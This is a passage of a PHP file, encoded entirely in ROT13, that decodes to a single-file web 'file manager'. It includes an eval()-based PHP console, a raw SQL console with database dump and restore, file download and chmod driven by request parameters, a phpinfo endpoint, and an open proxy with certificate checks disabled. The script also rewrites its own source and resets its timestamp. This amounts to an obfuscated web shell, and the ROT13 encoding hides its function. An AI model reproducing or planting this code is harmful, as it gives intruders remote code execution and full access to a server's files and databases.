	erghea vaginy($arjzbqr, 8);
}

shapgvba sz_puzbq($svyr, $iny, $erp = snyfr) {
	$erf = @puzbq(ernycngu($svyr), $iny);
	vs(@vf_qve($svyr) && $erp){
		$ryf = sz_fpna_qve($svyr);
		sbernpu ($ryf nf $ry) {
			$erf = $erf && sz_puzbq($svyr . '/' . $ry, $iny, gehr);
		}
	}
	erghea $erf;
}

//ybnq svyrf
shapgvba sz_qbjaybnq($svyr_anzr) {
    vs (!rzcgl($svyr_anzr)) {
		vs (svyr_rkvfgf($svyr_anzr)) {
			urnqre("Pbagrag-Qvfcbfvgvba: nggnpuzrag; svyranzr=" . onfranzr($svyr_anzr));   
			urnqre("Pbagrag-Glcr: nccyvpngvba/sbepr-qbjaybnq");
			urnqre("Pbagrag-Glcr: nccyvpngvba/bpgrg-fgernz");
			urnqre("Pbagrag-Glcr: nccyvpngvba/qbjaybnq");
			urnqre("Pbagrag-Qrfpevcgvba: Svyr Genafsre");            
			urnqre("Pbagrag-Yratgu: " . svyrfvmr($svyr_anzr));		
			syhfu(); // guvf qbrfa'g ernyyl znggre.
			$sc = sbcra($svyr_anzr, "e");
			juvyr (!srbs($sc)) {
				rpub sernq($sc, 65536);
				syhfu(); // guvf vf rffragvny sbe ynetr qbjaybnqf
			} 
			spybfr($sc);
			qvr();
		} ryfr {
			urnqre('UGGC/1.0 404 Abg Sbhaq', gehr, 404);
			urnqre('Fgnghf: 404 Abg Sbhaq'); 
			qvr();
        }
    } 
}

//fubj sbyqre fvmr
shapgvba sz_qve_fvmr($s,$sbezng=gehr) {
	vs($sbezng)  {
		$fvmr=sz_qve_fvmr($s,snyfr);
		vs($fvmr<=1024) erghea $fvmr.' olgrf';
		ryfrvs($fvmr<=1024*1024) erghea ebhaq($fvmr/(1024),2).'&aofc;Xo';
		ryfrvs($fvmr<=1024*1024*1024) erghea ebhaq($fvmr/(1024*1024),2).'&aofc;Zo';
		ryfrvs($fvmr<=1024*1024*1024*1024) erghea ebhaq($fvmr/(1024*1024*1024),2).'&aofc;To';
		ryfrvs($fvmr<=1024*1024*1024*1024*1024) erghea ebhaq($fvmr/(1024*1024*1024*1024),2).'&aofc;Go'; //:)))
		ryfr erghea ebhaq($fvmr/(1024*1024*1024*1024*1024),2).'&aofc;Co'; // ;-)
	} ryfr {
		vs(vf_svyr($s)) erghea svyrfvmr($s);
		$fvmr=0;
		$qu=bcraqve($s);
		juvyr(($svyr=ernqqve($qu))!==snyfr) {
			vs($svyr=='.' || $svyr=='..') pbagvahr;
			vs(vf_svyr($s.'/'.$svyr)) $fvmr+=svyrfvmr($s.'/'.$svyr);
			ryfr $fvmr+=sz_qve_fvmr($s.'/'.$svyr,snyfr);
		}
		pybfrqve($qu);
		erghea $fvmr+svyrfvmr($s); 
	}
}

//fpna qverpgbel
shapgvba sz_fpna_qve($qverpgbel, $rkc = '', $glcr = 'nyy', $qb_abg_svygre = snyfr) {
	$qve = $aqve = neenl();
	vs(!rzcgl($rkc)){
		$rkc = '/^' . fge_ercynpr('*', '(.*)', fge_ercynpr('.', '\\.', $rkc)) . '$/';
	}
	vs(!rzcgl($glcr) && $glcr !== 'nyy'){
		$shap = 'vf_' . $glcr;
	}
	vs(@vf_qve($qverpgbel)){
		$su = bcraqve($qverpgbel);
		juvyr (snyfr !== ($svyranzr = ernqqve($su))) {
			vs(fhofge($svyranzr, 0, 1) != '.' || $qb_abg_svygre) {
				vs((rzcgl($glcr) || $glcr == 'nyy' || $shap($qverpgbel . '/' . $svyranzr)) && (rzcgl($rkc) || cert_zngpu($rkc, $svyranzr))){
					$qve[] = $svyranzr;
				}
			}
		}
		pybfrqve($su);
		angfbeg($qve);
	}
	erghea $qve;
}

shapgvba sz_yvax($trg,$yvax,$anzr,$gvgyr='') {
	vs (rzcgl($gvgyr)) $gvgyr=$anzr.' '.onfranzr($yvax);
	erghea '&aofc;&aofc;<n uers="?'.$trg.'='.onfr64_rapbqr($yvax).'" gvgyr="'.$gvgyr.'">'.$anzr.'</n>';
}

shapgvba sz_nee_gb_bcgvba($nee,$a,$fry=''){
	sbernpu($nee nf $i){
		$o=$i[$a];
		$erf.='<bcgvba inyhr="'.$o.'" '.($fry && $fry==$o?'fryrpgrq':'').'>'.$o.'</bcgvba>';
	}
	erghea $erf;
}

shapgvba sz_ynat_sbez ($pheerag='ra'){
erghea '
<sbez anzr="punatr_ynat" zrgubq="cbfg" npgvba="">
	<fryrpg anzr="sz_ynat" gvgyr="'.__('Ynathntr').'" bapunatr="qbphzrag.sbezf[\'punatr_ynat\'].fhozvg()" >
		<bcgvba inyhr="ra" '.($pheerag=='ra'?'fryrpgrq="fryrpgrq" ':'').'>'.__('Ratyvfu').'</bcgvba>
		<bcgvba inyhr="qr" '.($pheerag=='qr'?'fryrpgrq="fryrpgrq" ':'').'>'.__('Trezna').'</bcgvba>
		<bcgvba inyhr="eh" '.($pheerag=='eh'?'fryrpgrq="fryrpgrq" ':'').'>'.__('Ehffvna').'</bcgvba>
		<bcgvba inyhr="se" '.($pheerag=='se'?'fryrpgrq="fryrpgrq" ':'').'>'.__('Serapu').'</bcgvba>
		<bcgvba inyhr="hx" '.($pheerag=='hx'?'fryrpgrq="fryrpgrq" ':'').'>'.__('Hxenvavna').'</bcgvba>
	</fryrpg>
</sbez>
';
}
	
shapgvba sz_ebbg($qveanzr){
	erghea ($qveanzr=='.' BE $qveanzr=='..');
}

shapgvba sz_cuc($fgevat){
	$qvfcynl_reebef=vav_trg('qvfcynl_reebef');
	vav_frg('qvfcynl_reebef', '1');
	bo_fgneg();
	riny(gevz($fgevat));
	$grkg = bo_trg_pbagragf();
	bo_raq_pyrna();
	vav_frg('qvfcynl_reebef', $qvfcynl_reebef);
	erghea $grkg;
}

//FUBJ QNGNONFRF
shapgvba sz_fdy_pbaarpg(){
	tybony $sz_pbasvt;
	erghea arj zlfdyv($sz_pbasvt['fdy_freire'], $sz_pbasvt['fdy_hfreanzr'], $sz_pbasvt['fdy_cnffjbeq'], $sz_pbasvt['fdy_qo']);
}

shapgvba sz_fdy($dhrel){
	tybony $sz_pbasvt;
	$dhrel=gevz($dhrel);
	bo_fgneg();
	$pbaarpgvba = sz_fdy_pbaarpg();
	vs ($pbaarpgvba->pbaarpg_reebe) {
		bo_raq_pyrna();	
		erghea $pbaarpgvba->pbaarpg_reebe;
	}
	$pbaarpgvba->frg_punefrg('hgs8');
    $dhrevrq = zlfdyv_dhrel($pbaarpgvba,$dhrel);
	vs ($dhrevrq===snyfr) {
		bo_raq_pyrna();	
		erghea zlfdyv_reebe($pbaarpgvba);
    } ryfr {
		vs(!rzcgl($dhrevrq)){
			juvyr($ebj = zlfdyv_srgpu_nffbp($dhrevrq)) {
				$dhrel_erfhyg[]=  $ebj;
			}
		}
		$iqhzc=rzcgl($dhrel_erfhyg)?'':ine_rkcbeg($dhrel_erfhyg,gehr);	
		bo_raq_pyrna();	
		$pbaarpgvba->pybfr();
		erghea '<cer>'.fgevcfynfurf($iqhzc).'</cer>';
	}
}

shapgvba sz_onpxhc_gnoyrf($gnoyrf = '*', $shyy_onpxhc = gehr) {
	tybony $cngu;
	$zlfdyqo = sz_fdy_pbaarpg();
	$qryvzvgre = "; \a  \a";
	vs($gnoyrf == '*')	{
		$gnoyrf = neenl();
		$erfhyg = $zlfdyqo->dhrel('FUBJ GNOYRF');
		juvyr($ebj = zlfdyv_srgpu_ebj($erfhyg))	{
			$gnoyrf[] = $ebj[0];
		}
	} ryfr {
		$gnoyrf = vf_neenl($gnoyrf) ? $gnoyrf : rkcybqr(',',$gnoyrf);
	}
    
	$erghea='';
	sbernpu($gnoyrf nf $gnoyr)	{
		$erfhyg = $zlfdyqo->dhrel('FRYRPG * SEBZ '.$gnoyr);
		$ahz_svryqf = zlfdyv_ahz_svryqf($erfhyg);
		$erghea.= 'QEBC GNOYR VS RKVFGF `'.$gnoyr.'`'.$qryvzvgre;
		$ebj2 = zlfdyv_srgpu_ebj($zlfdyqo->dhrel('FUBJ PERNGR GNOYR '.$gnoyr));
		$erghea.=$ebj2[1].$qryvzvgre;
        vs ($shyy_onpxhc) {
		sbe ($v = 0; $v < $ahz_svryqf; $v++)  {
			juvyr($ebj = zlfdyv_srgpu_ebj($erfhyg)) {
				$erghea.= 'VAFREG VAGB `'.$gnoyr.'` INYHRF(';
				sbe($w=0; $w<$ahz_svryqf; $w++)	{
					$ebj[$w] = nqqfynfurf($ebj[$w]);
					$ebj[$w] = fge_ercynpr("\a","\\a",$ebj[$w]);
					vs (vffrg($ebj[$w])) { $erghea.= '"'.$ebj[$w].'"' ; } ryfr { $erghea.= '""'; }
					vs ($w<($ahz_svryqf-1)) { $erghea.= ','; }
				}
				$erghea.= ')'.$qryvzvgre;
			}
		  }
		} ryfr { 
		$erghea = cert_ercynpr("#NHGB_VAPERZRAG=[\q]+ #vf", '', $erghea);
		}
		$erghea.="\a\a\a";
	}

	//fnir svyr
    $svyr=tzqngr("L-z-q_U-v-f",gvzr()).'.fdy';
	$unaqyr = sbcra($svyr,'j+');
	sjevgr($unaqyr,$erghea);
	spybfr($unaqyr);
	$nyreg = 'baPyvpx="vs(pbasvez(\''. __('Svyr fryrpgrq').': \a'. $svyr. '. \a'.__('Ner lbh fher lbh jnag gb qryrgr guvf svyr?') . '\')) qbphzrag.ybpngvba.uers = \'?qryrgr=' . $svyr . '&cngu=' . $cngu  . '\'"';
    erghea $svyr.': '.sz_yvax('qbjaybnq',$cngu.$svyr,__('Qbjaybnq'),__('Qbjaybnq').' '.$svyr).' <n uers="#" gvgyr="' . __('Qryrgr') . ' '. $svyr . '" ' . $nyreg . '>' . __('Qryrgr') . '</n>';
}

shapgvba sz_erfgber_gnoyrf($fdySvyrGbRkrphgr) {
	$zlfdyqo = sz_fdy_pbaarpg();
	$qryvzvgre = "; \a  \a";
    // Ybnq naq rkcybqr gur fdy svyr
    $s = sbcra($fdySvyrGbRkrphgr,"e+");
    $fdySvyr = sernq($s,svyrfvmr($fdySvyrGbRkrphgr));
    $fdyNeenl = rkcybqr($qryvzvgre,$fdySvyr);
	
    //Cebprff gur fdy svyr ol fgngrzragf
    sbernpu ($fdyNeenl nf $fgzg) {
        vs (fgeyra($fgzg)>3){
			$erfhyg = $zlfdyqo->dhrel($fgzg);
				vs (!$erfhyg){
					$fdyReebePbqr = zlfdyv_reeab($zlfdyqo->pbaarpgvba);
					$fdyReebeGrkg = zlfdyv_reebe($zlfdyqo->pbaarpgvba);
					$fdyFgzg      = $fgzg;
					oernx;
           	     }
           	  }
           }
vs (rzcgl($fdyReebePbqr)) erghea __('Fhpprff').' — '.$fdySvyrGbRkrphgr;
ryfr erghea $fdyReebeGrkg.'<oe/>'.$fgzg;
}

shapgvba sz_vzt_yvax($svyranzr){
	erghea './'.onfranzr(__SVYR__).'?vzt='.onfr64_rapbqr($svyranzr);
}

shapgvba sz_ubzr_fglyr(){
	erghea '
vachg, vachg.sz_vachg {
	grkg-vaqrag: 2ck;
}

vachg, grkgnern, fryrpg, vachg.sz_vachg {
	pbybe: oynpx;
	sbag: abezny 8cg Ireqnan, Nevny, Uryirgvpn, fnaf-frevs;
	obeqre-pbybe: oynpx;
	onpxtebhaq-pbybe: #SPSPSP abar !vzcbegnag;
	obeqre-enqvhf: 0;
	cnqqvat: 2ck;
}

vachg.sz_vachg {
	onpxtebhaq: #SPSPSP abar !vzcbegnag;
	phefbe: cbvagre;
}

.ubzr {
	onpxtebhaq-vzntr: hey("qngn:vzntr/cat;onfr64,vIOBEj0XTtbNNNNAFHuRHtNNNONNNNNDPNZNNNNbYD9GNNNNOTqOGHRNNX/VAjJX6DNNNtEDGSES/s396Bwb////gG02me+sj66Egw432GRc3ZKR2QNe3GLc1l4zgQj2/7OZ/7OBdIcp/8y31wpdd6rajpUO2Gtv5wtdIcoSien2aONI/Cm82F0wak0J3GHxdFtv4rUu4Gfer4jbfm026hCwmTLq6Hf3laNlqHON5Xy3sz5rdMnJ7BQtv2It+Cw4hL+RjYz5oL9H//7wsYgP+gBX3wpz/71h2wLb1HLu5nWy/frP3wRz12xzWeVN1wZz/9nH4Yu0r01OyVnR///quZqP7VN//sGM2p3ZJ6aA30js95Iq4WqKbKIbf8aR4rsA/+63VWtFaLuy7S4pfKg89TDHjY+/wy1p41Nd+so2tzgV1eXn2P4xWnVN3wLeyGj5gw423wLa3pKR1mDbkZUOc1yM3Qtzdvxf/+zpwYX83wLxlzZI3GLx//UZ+h7Juzge0bqGcnBwsJWseUct/8Of/7gJ/7Ir+4H52QZz3ZYOa4dYtAIZ6ZmO3yRsyVhY/+wN///20YBmwKk8/7yoJcWT2P8x3GbfWXZN1ljwbcBE1mLc5Qfcvnl+lXAudXFx8AJ6/swaf7Bm2gaMhm887o+J3nEL/+zf4ePR3Gbg7I85oXkwhRN3j45Iu5hud6nz4pSktMMJ/9dVhjtXl0fJ+hwG4GDagm423P8v3mHw/+Xj/n5q6HZkhY6jmQRe////pdWDsNNNNXk0Hx5G////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////NNJISoRNNNNMqRILqSAiMaE3LKWyNRSxo2WyVRygLJqyHzIuMUyklJH8NNNN2HyRDIDbH2ALwDLLfNvR8H9LmQLwIcTMEkZvRPvgZeIMibZeGyD2RFEDW2SIjvaLozdGHYbbuaR1t1nXTF/sAZgx40lM9XIYDutLxhL7AkDiKlUISAaXmE69dckOCZrm0RGNDlGHiFbtnVSnCpAdI/Z5qun2Ey2Gvzo6M+DOQL1KA/Foh8kSYT3rYQsy2HNOwvyB1b012M3rx1yMIVJNNzHGX6Y0f3cK+ww6chM2NjJHiOEncufjZqHhwPvjQjn5IRqCV7laHyp7i1dLHEYdhs42um45POCQgjNPez+EQpkWLNNNNNOWEH5RexWttt==");
	onpxtebhaq-ercrng: ab-ercrng;
}';
}

shapgvba sz_pbasvt_purpxobk_ebj($anzr,$inyhr) {
	tybony $sz_pbasvt;
	erghea '<ge><gq pynff="ebj1"><vachg vq="sz_pbasvt_'.$inyhr.'" anzr="sz_pbasvt['.$inyhr.']" inyhr="1" '.(rzcgl($sz_pbasvt[$inyhr])?'':'purpxrq="gehr"').' glcr="purpxobk"></gq><gq pynff="ebj2 jubyr"><ynory sbe="sz_pbasvt_'.$inyhr.'">'.$anzr.'</gq></ge>';
}

shapgvba sz_cebgbpby() {
	vs (vffrg($_FREIRE['UGGC_FPURZR'])) erghea $_FREIRE['UGGC_FPURZR'].'://';
	vs (vffrg($_FREIRE['UGGCF']) && $_FREIRE['UGGCF'] == 'ba') erghea 'uggcf://';
	vs (vffrg($_FREIRE['FREIRE_CBEG']) && $_FREIRE['FREIRE_CBEG'] == 443) erghea 'uggcf://';
	vs (vffrg($_FREIRE['UGGC_K_SBEJNEQRQ_CEBGB']) && $_FREIRE['UGGC_K_SBEJNEQRQ_CEBGB'] == 'uggcf') erghea 'uggcf://';
	erghea 'uggc://';
}

shapgvba sz_fvgr_hey() {
	erghea sz_cebgbpby().$_FREIRE['UGGC_UBFG'];
}

shapgvba sz_hey($shyy=snyfr) {
	$ubfg=$shyy?sz_fvgr_hey():'.';
	erghea $ubfg.'/'.onfranzr(__SVYR__);
}

shapgvba sz_ubzr($shyy=snyfr){
	erghea '&aofc;<n uers="'.sz_hey($shyy).'" gvgyr="'.__('Ubzr').'"><fcna pynff="ubzr">&aofc;&aofc;&aofc;&aofc;</fcna></n>';
}

shapgvba sz_eha_vachg($yat) {
	tybony $sz_pbasvt;
	$erghea = !rzcgl($sz_pbasvt['ranoyr_'.$yat.'_pbafbyr']) ? 
	'
				<sbez  zrgubq="cbfg" npgvba="'.sz_hey().'" fglyr="qvfcynl:vayvar">
				<vachg glcr="fhozvg" anzr="'.$yat.'eha" inyhr="'.fgegbhccre($yat).' '.__('Pbafbyr').'">
				</sbez>
' : '';
	erghea $erghea;
}

shapgvba sz_hey_cebkl($zngpurf) {
	$yvax = fge_ercynpr('&nzc;','&',$zngpurf[2]);
	$hey = vffrg($_TRG['hey'])?$_TRG['hey']:'';
	$cnefr_hey = cnefr_hey($hey);
	$ubfg = $cnefr_hey['fpurzr'].'://'.$cnefr_hey['ubfg'].'/';
	vs (fhofge($yvax,0,2)=='//') {
		$yvax = fhofge_ercynpr($yvax,sz_cebgbpby(),0,2);
	} ryfrvs (fhofge($yvax,0,1)=='/') {
		$yvax = fhofge_ercynpr($yvax,$ubfg,0,1);	
	} ryfrvs (fhofge($yvax,0,2)=='./') {
		$yvax = fhofge_ercynpr($yvax,$ubfg,0,2);	
	} ryfrvs (fhofge($yvax,0,4)=='uggc') {
		//nyyrf znpura jhaqrefpuba
	} ryfr {
		$yvax = $ubfg.$yvax;
	} 
	vs ($zngpurf[1]=='uers' && !fgeevcbf($yvax, 'pff')) {
		$onfr = sz_fvgr_hey().'/'.onfranzr(__SVYR__);
		$onfrd = $onfr.'?cebkl=gehr&hey=';
		$yvax = $onfrd.heyrapbqr($yvax);
	} ryfrvs (fgeevcbf($yvax, 'pff')){
		//как-то тоже подменять надо
	}
	erghea $zngpurf[1].'="'.$yvax.'"';
}
 
shapgvba sz_gcy_sbez($yat_gcy) {
	tybony ${$yat_gcy.'_grzcyngrf'};
	$gcy_nee = wfba_qrpbqr(${$yat_gcy.'_grzcyngrf'},gehr);
	$fge = '';
	sbernpu ($gcy_nee nf $xgcy=>$igcy) {
		$fge .= '<ge><gq pynff="ebj1"><vachg anzr="'.$yat_gcy.'_anzr[]" inyhr="'.$xgcy.'"></gq><gq pynff="ebj2 jubyr"><grkgnern anzr="'.$yat_gcy.'_inyhr[]"  pbyf="55" ebjf="5" pynff="grkgnern_vachg">'.$igcy.'</grkgnern> <vachg anzr="qry_'.enaq().'" glcr="ohggba" baPyvpx="guvf.cneragAbqr.cneragAbqr.erzbir();" inyhr="'.__('Qryrgr').'"/></gq></ge>';
	}
erghea '
<gnoyr>
<ge><gu pbyfcna="2">'.fgegbhccre($yat_gcy).' '.__('grzcyngrf').' '.sz_eha_vachg($yat_gcy).'</gu></ge>
<sbez zrgubq="cbfg" npgvba="">
<vachg glcr="uvqqra" inyhr="'.$yat_gcy.'" anzr="gcy_rqvgrq">
<ge><gq pynff="ebj1">'.__('Anzr').'</gq><gq pynff="ebj2 jubyr">'.__('Inyhr').'</gq></ge>
'.$fge.'
<ge><gq pbyfcna="2" pynff="ebj3"><vachg anzr="erf" glcr="ohggba" baPyvpx="qbphzrag.ybpngvba.uers = \''.sz_hey().'?sz_frggvatf=gehr\';" inyhr="'.__('Erfrg').'"/> <vachg glcr="fhozvg" inyhr="'.__('Fnir').'" ></gq></ge>
</sbez>
<sbez zrgubq="cbfg" npgvba="">
<vachg glcr="uvqqra" inyhr="'.$yat_gcy.'" anzr="gcy_rqvgrq">
<ge><gq pynff="ebj1"><vachg anzr="'.$yat_gcy.'_arj_anzr" inyhr="" cynprubyqre="'.__('Arj').' '.__('Anzr').'"></gq><gq pynff="ebj2 jubyr"><grkgnern anzr="'.$yat_gcy.'_arj_inyhr"  pbyf="55" ebjf="5" pynff="grkgnern_vachg" cynprubyqre="'.__('Arj').' '.__('Inyhr').'"></grkgnern></gq></ge>
<ge><gq pbyfcna="2" pynff="ebj3"><vachg glcr="fhozvg" inyhr="'.__('Nqq').'" ></gq></ge>
</sbez>
</gnoyr>
';
}

shapgvba svaq_grkg_va_svyrf($qve, $znfx, $grkg) {
    $erfhygf = neenl();
    vs ($unaqyr = bcraqve($qve)) {
        juvyr (snyfr !== ($ragel = ernqqve($unaqyr))) {
            vs ($ragel != "." && $ragel != "..") {
                $cngu = $qve . "/" . $ragel;
                vs (vf_qve($cngu)) {
                    $erfhygf = neenl_zretr($erfhygf, svaq_grkg_va_svyrf($cngu, $znfx, $grkg));
                } ryfr {
                    vs (sazngpu($znfx, $ragel)) {
                        $pbagragf = svyr_trg_pbagragf($cngu);
                        vs (fgecbf($pbagragf, $grkg) !== snyfr) {
                            $erfhygf[] = fge_ercynpr('//', '/', $cngu);
                        }
                    }
                }
            }
        }
        pybfrqve($unaqyr);
    }
    erghea $erfhygf;
}


/* Raq Shapgvbaf */

// nhgubevmngvba
vs ($nhgu['nhgubevmr']) {
	vs (vffrg($_CBFG['ybtva']) && vffrg($_CBFG['cnffjbeq'])){
		vs (($_CBFG['ybtva']==$nhgu['ybtva']) && ($_CBFG['cnffjbeq']==$nhgu['cnffjbeq'])) {
			frgpbbxvr($nhgu['pbbxvr_anzr'], $nhgu['ybtva'].'|'.zq5($nhgu['cnffjbeq']), gvzr() + (86400 * $nhgu['qnlf_nhgubevmngvba']));
			$_PBBXVR[$nhgu['pbbxvr_anzr']]=$nhgu['ybtva'].'|'.zq5($nhgu['cnffjbeq']);
		}
	}
	vs (!vffrg($_PBBXVR[$nhgu['pbbxvr_anzr']]) BE ($_PBBXVR[$nhgu['pbbxvr_anzr']]!=$nhgu['ybtva'].'|'.zq5($nhgu['cnffjbeq']))) {
		rpub '
<!qbpglcr ugzy>
<ugzy>
<urnq>
<zrgn punefrg="hgs-8" />
<zrgn anzr="ivrjcbeg" pbagrag="jvqgu=qrivpr-jvqgu, vavgvny-fpnyr=1" />
<gvgyr>'.__('Svyr znantrek').'</gvgyr>
</urnq>
<obql>
<sbez npgvba="" zrgubq="cbfg">
'.__('Ybtva').' <vachg anzr="ybtva" glcr="grkg">&aofc;&aofc;&aofc;
'.__('Cnffjbeq').' <vachg anzr="cnffjbeq" glcr="cnffjbeq">&aofc;&aofc;&aofc;
<vachg glcr="fhozvg" inyhr="'.__('Ragre').'" pynff="sz_vachg">
</sbez>
'.sz_ynat_sbez($ynathntr).'
</obql>
</ugzy>
';  
qvr();
	}
	vs (vffrg($_CBFG['dhvg'])) {
		hafrg($_PBBXVR[$nhgu['pbbxvr_anzr']]);
		frgpbbxvr($nhgu['pbbxvr_anzr'], '', gvzr() - (86400 * $nhgu['qnlf_nhgubevmngvba']));
		urnqre('Ybpngvba: '.sz_fvgr_hey().$_FREIRE['ERDHRFG_HEV']);
	}
}

// Punatr pbasvt
vs (vffrg($_TRG['sz_frggvatf'])) {
	vs (vffrg($_TRG['sz_pbasvt_qryrgr'])) { 
		hafrg($_PBBXVR['sz_pbasvt']);
		frgpbbxvr('sz_pbasvt', '', gvzr() - (86400 * $nhgu['qnlf_nhgubevmngvba']));
		urnqre('Ybpngvba: '.sz_hey().'?sz_frggvatf=gehr');
		rkvg(0);
	}	ryfrvs (vffrg($_CBFG['sz_pbasvt'])) { 
		$sz_pbasvt = $_CBFG['sz_pbasvt'];
		frgpbbxvr('sz_pbasvt', frevnyvmr($sz_pbasvt), gvzr() + (86400 * $nhgu['qnlf_nhgubevmngvba']));
		$_PBBXVR['sz_pbasvt'] = frevnyvmr($sz_pbasvt);
		$zft = __('Frggvatf').' '.__('qbar');
	}	ryfrvs (vffrg($_CBFG['sz_ybtva'])) { 
		vs (rzcgl($_CBFG['sz_ybtva']['nhgubevmr'])) $_CBFG['sz_ybtva'] = neenl('nhgubevmr' => '0') + $_CBFG['sz_ybtva'];
		$sz_ybtva = wfba_rapbqr($_CBFG['sz_ybtva']);
		$stp = svyr_trg_pbagragf(__SVYR__);
		$frnepu = cert_zngpu('#nhgubevmngvba[\f]?\=[\f]?\'\{\"(.*?)\"\}\';#', $stp, $zngpurf);
		vs (!rzcgl($zngpurf[1])) {
			$svyrzgvzr = svyrzgvzr(__SVYR__);
			$ercynpr = fge_ercynpr('{"'.$zngpurf[1].'"}',$sz_ybtva,$stp);
			vs (svyr_chg_pbagragf(__SVYR__, $ercynpr)) {
				$zft .= __('Svyr hcqngrq');
				vs ($_CBFG['sz_ybtva']['ybtva'] != $nhgu['ybtva']) $zft .= ' '.__('Ybtva').': '.$_CBFG['sz_ybtva']['ybtva'];
				vs ($_CBFG['sz_ybtva']['cnffjbeq'] != $nhgu['cnffjbeq']) $zft .= ' '.__('Cnffjbeq').': '.$_CBFG['sz_ybtva']['cnffjbeq'];
				$nhgu = $_CBFG['sz_ybtva'];
			}
			ryfr $zft .= __('Reebe bppheerq');
			vs (!rzcgl($sz_pbasvt['sz_erfgber_gvzr'])) gbhpu(__SVYR__,$svyrzgvzr);
		}
	} ryfrvs (vffrg($_CBFG['gcy_rqvgrq'])) { 
		$yat_gcy = $_CBFG['gcy_rqvgrq'];
		vs (!rzcgl($_CBFG[$yat_gcy.'_anzr'])) {
			$sz_cuc = wfba_rapbqr(neenl_pbzovar($_CBFG[$yat_gcy.'_anzr'],$_CBFG[$yat_gcy.'_inyhr']),WFBA_URK_NCBF);
		} ryfrvs (!rzcgl($_CBFG[$yat_gcy.'_arj_anzr'])) {
			$sz_cuc = wfba_rapbqr(wfba_qrpbqr(${$yat_gcy.'_grzcyngrf'},gehr)+neenl($_CBFG[$yat_gcy.'_arj_anzr']=>$_CBFG[$yat_gcy.'_arj_inyhr']),WFBA_URK_NCBF);
		}
		vs (!rzcgl($sz_cuc)) {
			$stp = svyr_trg_pbagragf(__SVYR__);
			$frnepu = cert_zngpu('#'.$yat_gcy.'_grzcyngrf[\f]?\=[\f]?\'\{\"(.*?)\"\}\';#', $stp, $zngpurf);
			vs (!rzcgl($zngpurf[1])) {
				$svyrzgvzr = svyrzgvzr(__SVYR__);
				$ercynpr = fge_ercynpr('{"'.$zngpurf[1].'"}',$sz_cuc,$stp);
				vs (svyr_chg_pbagragf(__SVYR__, $ercynpr)) {
					${$yat_gcy.'_grzcyngrf'} = $sz_cuc;
					$zft .= __('Svyr hcqngrq');
				} ryfr $zft .= __('Reebe bppheerq');
				vs (!rzcgl($sz_pbasvt['sz_erfgber_gvzr'])) gbhpu(__SVYR__,$svyrzgvzr);
			}	
		} ryfr $zft .= __('Reebe bppheerq');
	}
}

// Whfg fubj vzntr
vs (vffrg($_TRG['vzt'])) {
	$svyr=onfr64_qrpbqr($_TRG['vzt']);
	vs ($vasb=trgvzntrfvmr($svyr)){
		fjvgpu  ($vasb[2]){	//1=TVS, 2=WCT, 3=CAT, 4=FJS, 5=CFQ, 6=OZC
			pnfr 1: $rkg='tvs'; oernx;
			pnfr 2: $rkg='wcrt'; oernx;
			pnfr 3: $rkg='cat'; oernx;
			pnfr 6: $rkg='ozc'; oernx;
			qrsnhyg: qvr();
		}
		urnqre("Pbagrag-glcr: vzntr/$rkg");
		rpub svyr_trg_pbagragf($svyr);
		qvr();
	}
}

// Whfg qbjaybnq svyr
vs (vffrg($_TRG['qbjaybnq'])) {
	$svyr=onfr64_qrpbqr($_TRG['qbjaybnq']);
	sz_qbjaybnq($svyr);	
}

// Whfg fubj vasb
vs (vffrg($_TRG['cucvasb'])) {
	cucvasb(); 
	qvr();
}

// Zvav cebkl, znal ohtf!
vs (vffrg($_TRG['cebkl']) && (!rzcgl($sz_pbasvt['ranoyr_cebkl']))) {
	$hey = vffrg($_TRG['hey'])?heyqrpbqr($_TRG['hey']):'';
	$cebkl_sbez = '
<qvi fglyr="cbfvgvba:eryngvir;m-vaqrk:100500;onpxtebhaq: yvarne-tenqvrag(gb obggbz, #r4s5sp 0%,#osr8s9 50%,#9sq8rs 51%,#2no0rq 100%);">
	<sbez npgvba="" zrgubq="TRG">
	<vachg glcr="uvqqra" anzr="cebkl" inyhr="gehr">
	'.sz_ubzr().' <n uers="'.$hey.'" gnetrg="_oynax">Hey</n>: <vachg glcr="grkg" anzr="hey" inyhr="'.$hey.'" fvmr="55">
	<vachg glcr="fhozvg" inyhr="'.__('Fubj').'" pynff="sz_vachg">
	</sbez>
</qvi>
';
	vs ($hey) {
		$pu = phey_vavg($hey);
		phey_frgbcg($pu, PHEYBCG_HFRENTRAG, 'Qra1kkk grfg cebkl');
		phey_frgbcg($pu, PHEYBCG_SBYYBJYBPNGVBA, 1);
		phey_frgbcg($pu, PHEYBCG_FFY_IREVSLUBFG,0);
		phey_frgbcg($pu, PHEYBCG_FFY_IREVSLCRRE,0);
		phey_frgbcg($pu, PHEYBCG_URNQRE, 0);
		phey_frgbcg($pu, PHEYBCG_ERSRERE, $hey);
		phey_frgbcg($pu, PHEYBCG_ERGHEAGENAFSRE,gehr);
		$erfhyg = phey_rkrp($pu);
		phey_pybfr($pu);
		//$erfhyg = cert_ercynpr('#(fep)=["\'][uggc://]?([^:]*)["\']#Hv', '\\1="'.$hey.'/\\2"', $erfhyg);
		$erfhyg = cert_ercynpr_pnyyonpx('#(uers|fep)=["\'][uggc://]?([^:]*)["\']#Hv', 'sz_hey_cebkl', $erfhyg);
		$erfhyg = cert_ercynpr('%(<obql.*?>)%v', '$1'.'<fglyr>'.sz_ubzr_fglyr().'</fglyr>'.$cebkl_sbez, $erfhyg);
		rpub $erfhyg;
		qvr();
	} 
}
?>
<!qbpglcr ugzy>
<ugzy>
<urnq>     
	<zrgn punefrg="hgs-8" />
	<zrgn anzr="ivrjcbeg" pbagrag="jvqgu=qrivpr-jvqgu, vavgvny-fpnyr=1" />
    <gvgyr><?=__('Svyr znantre')?></gvgyr>
<fglyr>
obql {
	onpxtebhaq-pbybe:	juvgr;
	sbag-snzvyl:		Ireqnan, Nevny, Uryirgvpn, fnaf-frevs;
	sbag-fvmr:			8cg;
	znetva:				0ck;
}

n:yvax, n:npgvir, n:ivfvgrq { pbybe: #006699; grkg-qrpbengvba: abar; }
n:ubire { pbybe: #QQ6900; grkg-qrpbengvba: haqreyvar; }
n.gu:yvax { pbybe: #SSN34S; grkg-qrpbengvba: abar; }
n.gu:npgvir { pbybe: #SSN34S; grkg-qrpbengvba: abar; }
n.gu:ivfvgrq { pbybe: #SSN34S; grkg-qrpbengvba: abar; }
n.gu:ubire {  pbybe: #SSN34S; grkg-qrpbengvba: haqreyvar; }

gnoyr.ot {
	onpxtebhaq-pbybe: #NPOOP6
}

gu, gq { 
